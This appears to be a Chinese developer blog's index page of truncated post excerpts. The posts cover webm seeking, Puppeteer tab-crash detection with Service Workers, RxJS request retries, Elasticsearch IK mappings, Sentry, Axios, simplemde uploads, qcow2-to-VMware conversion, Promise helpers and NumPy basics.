介绍

当我们使用getUserMedia、MediaRecorder等API生成的webm视频时，会发现最终的webm是无法拖动进度条的。除非使用FFmpeg把webm转成其他格式的视频文件，或者等webm视频播放完后，就可以拖动了。

分析

经过几个小时的排查，发现并不是MediaRecorder使用有问题，因为在网上找的其他demo生成的webm也都不行。

一开始把分析点放在了进度条那里，结果在网上没有搜到任何相关文章，尝试了各种关键词都不行。

后来想到，可以使用FFmpeg来对视频文件进行分析。于是使用ffprobe rebirth-demo.webm命令进行分析：

背景介绍

因为正在开发一个项目，而这个项目使用到了puppeteer，其中有个功能是在puppeteer打开的chrome里打开多个Tab，并进行管理。
虽然puppeteer可以打开多个网站，但是并不利于管理，所有我使用的是插件的方式，通过插件来打开多网站，并进行管理。

但是这里有个需求是，当网站崩溃时，我要做出一些操作。但是目前网上没有一个好的办法去监听当前网站是否崩溃。

可能有同学会说：puppeteer不是提供了一个page.on('error', fn)的方法，来进行监听么？

请注意上文中提到的，使用插件打开多个网站，puppeteer提供的方法只能对自己打开的网站起作用，没有使用puppeteer打开的网站，page.on('error', fn)方法无能为力。

使用Service Workers

这个方法是由我同事Haitao提出来的思路。

在当前网站上运行一个Service Workers，因为在运行的时候Service Workers会再启动一个单独的进程，当前网站和Service Workers是两个单独的进程。也就是说当网站崩溃时，并不影响Service Workers进程。所以可通过心跳检测来进行判断网站是否崩溃。

前言

最近工作中有一个需求是：如果这个请求超时，则进行重试，且重试次数可配置。

首先我们发请求使用的库为：Axios，其处理请求的位置，是在 redux-observable 中的 epic 里。

那么如果要完成重试机制的话，有两种办法：

• 在对 Axios 封装的函数里添加重试代码
• 在 epic 里，使用 RxJS 操作符进行重试。

关于 Axios 重试的，其实比较麻烦的，而且需要在原有封装好的函数里，继续添加重试代码，总感觉不太好。且维护起来也不太方便。于是那就使用 RxJS 操作符进行重试吧。本文代码将不会套用项目代码，而是重新写一个 Demo，方便理解。

从Lucene到Elasticsearch:全文检索实战

当前的笔记只介绍 Elasticsearch 的搜索部分。

文章中的搜索都是在 kibana 的 Dev tools 进行查询的。

准备工作

需要安装 Elasticsearch、kibana、elasticsearch-analysis-ik

具体的安装方式，这里就不再阐述了。（安装完，记得重启 Elasticsearch ）

重启完成后，打开 kibana 的 Dev tools，输入下面的DSL代码，并运行：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

PUT books
{
  "settings": {
    "number_of_replicas": 1,
    "number_of_shards": 3
  },
  "mappings": {
    "IT": {
      "properties": {
        "id": {
          "type": "long"
        },
        "title": {
          "type": "text",
          "analyzer": "ik_max_word"
        },
        "language": {
          "type": "keyword"
        },
        "author": {
          "type": "keyword"
        },
        "price": {
          "type": "double"
        },
        "year": {
          "type": "date",
          "format": "yyyy-MM-dd"
        },
        "description": {
          "type": "text",
          "analyzer": "ik_max_word"
        }
      }
    }
  }
}

Sentry-JavaScript

Sentry是一套用于捕获产品错误的开源项目，其下支持很多语言、框架。

这里就只阐述在前端JavaScript方向的处理操作

在我们公司之前的应用场景里，很多项目都是使用kibana来做信息统计。但是我们无法清楚的知道应用的运行状态是怎么样的。当某个客户在使用我们开发产品时，如果报错、崩溃。用户只能向客服寻求帮助，再交接给我们的开发人员进行复现、修复。其中因为不清楚具体的数据，开发人员是在复现时会非常的耗时。

而Sentry的用途就是解决这一痛点问题，让开发人员快速准确的定位到问题的根源所在，以达到快速修复，让开发人员更注重于开发新的功能上面。减少时间资源上的浪费。

JavaScript

接入

因为Sentry使用的是一种Hook错误函数的技术，来达到捕获错误的目的，所以我们基本可以无损耗的接入到现有的项目中去。

下面是React与Sentry进行结合的一些基本步骤。

前言

如果你在使用axios的时候，是使用axios.create({})方法来进行创建axios的，那么你会发现你无法使用all、spread、Cancel、CancelToken、isCancel方法。

我上网查了相关的问题，axios维护者们都是让你重新引入axios package来进行完成任务。我不喜欢这种方法，因为重新引入的话，那我的axios配置就会丢失，需要重新配置一遍，太过麻烦。

因为我们项目很多时候，不想使用默认的配置，想使用自定义设置的axios实例。比如设置基础URL和超时时间：

前言

项目使用的是vue框架，需要一个markdown的编辑框，就在npm上找了一下，发现simplemde挺不错的，由于我比较懒，就顺便在npm又搜了一下，找到了vue-simplemde这个package，那就开始使用它吧。

但是这个vue-simplemde不支持图片拖拽上传、粘贴上传，也不能说是因为这个vue-simplemde，因为vue-simplemde只是对simplemde的基础上封装成一个Vue插件。所以最后还是由于simplemde没有提供相关的功能，但是为了用户体验考虑，这个功能时必要的，除非不使用markdown编辑器。而去使用富文本编辑器，那样的话，项目很多的代码都要进行更改。所以就在网上查了文章，及在github上查了一些代码。下面将进行分析

前言

因为一些原因，需要在自己的笔记本上运行qcow2镜像。做个OpenStack平台吧，系统配置吃不消。想试一下能不能在vmware里直接跑qcow2镜像。网上的答案都是使用qemu-img工具进行转化，但是都后面也就没有说明了。于是自己折腾了一下，把过程记录一下。

准备

需要先下载qemu-img工具，因为我是在windows64位上，所以就下载了win64的镜像，工具安装好后，最好在环境变量里的PATH里加入下一安装目录，方便后面的操作

Vmware虚拟机、qcow2原始镜像包就不说了，必备的。

前言

在ES6里，增加了Promise方法。而Promise的回调函数只有then和catch两种方法。

而后，Promise又添加了两种附加方法，当然需要自己去添加进去。

• 一个是done方法: http://es6.ruanyifeng.com/#docs/promise#done

• 一个是finally方法：http://es6.ruanyifeng.com/#docs/promise#finally

可以去看一下上文的链接去了解一下，或者去下面的链接，看下官方源码是如何实现的: done 和 finally

Numpy

导入

import numpy as np

API

创建数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

np.array([10, 11, 12, 13])
# [10 11 12 13]


np.array([10, 11, 12, 13, 14 ,15]).reshape([2,3])
# [
#   [10 11 12]
#   [13 14 15]
# ]


np.array([[1, 2], [3, 4]])
# [
#   [1 2]
#   [3 4]
# ]


np.arange(4)
# [0 1 2 3]


np.arange(2, 6)
# [2 3 4 5]


np.arange(4).reshape([2,2])
# [
#   [0 1]
#   [2 3]
# ]


np.random.random([2,3])
# [
#   [ 0.00136044  0.46854718  0.59149907]
#   [ 0.75636339  0.18204628  0.53191402]
# ]